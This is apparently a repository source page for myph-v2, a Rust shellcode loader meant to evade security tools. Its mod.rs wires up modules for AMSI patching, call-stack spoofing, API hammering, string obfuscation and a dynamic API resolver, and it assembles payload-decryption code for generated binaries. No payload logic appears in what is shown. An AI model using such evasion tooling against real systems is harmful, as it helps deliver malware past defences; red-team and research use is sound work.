myph-v2

~ rust shellcode loader with evasive capabilities
git clone https://github.com/djnnvx/myph-v2.git
mod.rs (3152B)
      1 mod amsi_patch;
      2 mod api_hammering;
      3 mod callstack_spoofing;
      4 mod cargo_config;
      5 mod code_context;
      6 mod code_validator;
      7 mod encryption;
      8 mod internals_utils;
      9 mod main_funcs;
     10 mod process_helpers;
     11 mod resolver;
     12 mod string_obfuscation;
     13 mod validation;
     14 mod windows_types;
     15 
     16 pub mod generated;
     17 pub mod techniques;
     18 
     19 pub use amsi_patch::*;
     20 pub use api_hammering::*;
     21 pub use callstack_spoofing::*;
     22 pub use cargo_config::*;
     23 pub use code_context::*;
     24 pub use code_validator::*;
     25 #[allow(unused_imports)]
     26 pub use encryption::*;
     27 pub use generated::*;
     28 pub use internals_utils::*;
     29 pub use main_funcs::*;
     30 #[allow(unused_imports)]
     31 pub use process_helpers::*;
     32 pub use resolver::*;
     33 pub use string_obfuscation::*;
     34 pub use validation::*;
     35 #[allow(unused_imports)]
     36 pub use windows_types::*;
     37 
     38 /// Generate the complete internals module source code for embedding in generated binaries
     39 ///
     40 /// Returns all function implementations concatenated together.
     41 pub fn generate_internals_source() -> String {
     42     format!(
     43         "{}\n\n{}\n\n{}\n\n{}\n\n{}\n\n{}\n\n{}\n\n{}",
     44         internals_hex_to_bytes(),
     45         internals_bytes_to_hex(),
     46         internals_xor_bytes(),
     47         internals_pad_pkcs7(),
     48         internals_unpad_pkcs7(),
     49         internals_is_valid_utf8(),
     50         internals_compute_checksum(),
     51         internals_validate_checksum()
     52     )
     53 }
     54 
     55 /// Generate internals module with decryption support for a specific encryption type
     56 ///
     57 /// Returns function implementations including the appropriate decryption method.
     58 pub fn generate_internals_source_with_decryption(encryption_type: &str) -> Result<String, String> {
     59     use crate::cli::EncryptionKind;
     60     use crate::encryption::create_encryptor;
     61 
     62     let base = generate_internals_source();
     63 
     64     // Create a temporary encryptor to get the decryption code
     65     let encryption_kind = match encryption_type {
     66         "xor" => EncryptionKind::XOR,
     67         "aes" => EncryptionKind::AES,
     68         "aes256" => EncryptionKind::AES256,
     69         "chacha20" => EncryptionKind::Chacha20,
     70         "blowfish" => EncryptionKind::Blowfish,
     71         "twofish" => EncryptionKind::Twofish,
     72         "camellia" => EncryptionKind::Camellia,
     73         "" => return Err("Encryption type cannot be empty".to_string()),
     74         _ => return Err(format!("Unknown encryption type: {}", encryption_type)),
     75     };
     76 
     77     let encryptor = create_encryptor(encryption_kind, "dummy-key");
     78     let decryption_fn = encryptor.generate_decrypt_code();
     79 
     80     Ok(format!("{}\n\n{}", base, decryption_fn))
     81 }
     82 
     83 pub fn generate_internals_with_string_decryption(
     84     encryption_type: &str,
     85     _with_string_encryption: bool,
     86 ) -> Result<String, String> {
     87     generate_internals_source_with_decryption(encryption_type)
     88 }
     89 
     90 pub fn generate_internals_with_api_resolver(
     91     encryption_type: &str,
     92     with_string_encryption: bool,
     93     with_dynamic_resolver: bool,
     94 ) -> Result<String, String> {
     95     let mut result =
     96         generate_internals_with_string_decryption(encryption_type, with_string_encryption)?;
     97 
     98     if with_dynamic_resolver {
     99         let api_resolver_code = generate_api_resolver();
    100         result = format!("{}\n\n{}", result, api_resolver_code);
    101     }
    102 
    103     Ok(result)
    104 }